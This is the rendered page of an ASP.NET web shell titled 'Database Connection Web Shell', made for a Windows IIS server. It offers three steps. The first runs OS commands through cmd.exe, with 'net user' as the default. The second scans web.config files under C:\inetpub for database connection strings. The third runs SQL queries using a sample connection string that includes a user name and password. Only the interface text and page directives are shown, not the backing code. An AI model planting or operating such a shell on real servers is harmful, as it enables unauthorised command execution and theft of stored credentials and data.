<%@ Page Language="VB" Debug="true" %> <%@ import Namespace="system.IO" %> <%@ import Namespace="System.Diagnostics" %>

Database Connection Web Shell

STEP 1	ENTER OS COMMANDS	Application: c:\windows\system32\cmd.exe Arguments: /c net user	RUN
STEP 2	PARSE WEB.CONFIGS FOR CONNECTION STRINGS	Path to web directories: C:\inetpub	RUN
STEP 3	EXECUTE SQL QUERIES	Connection Strings: Data Source=localhost\sqlexpress2k8;User ID=netspi;PWD=ipsten SQL query: select @@version;	RUN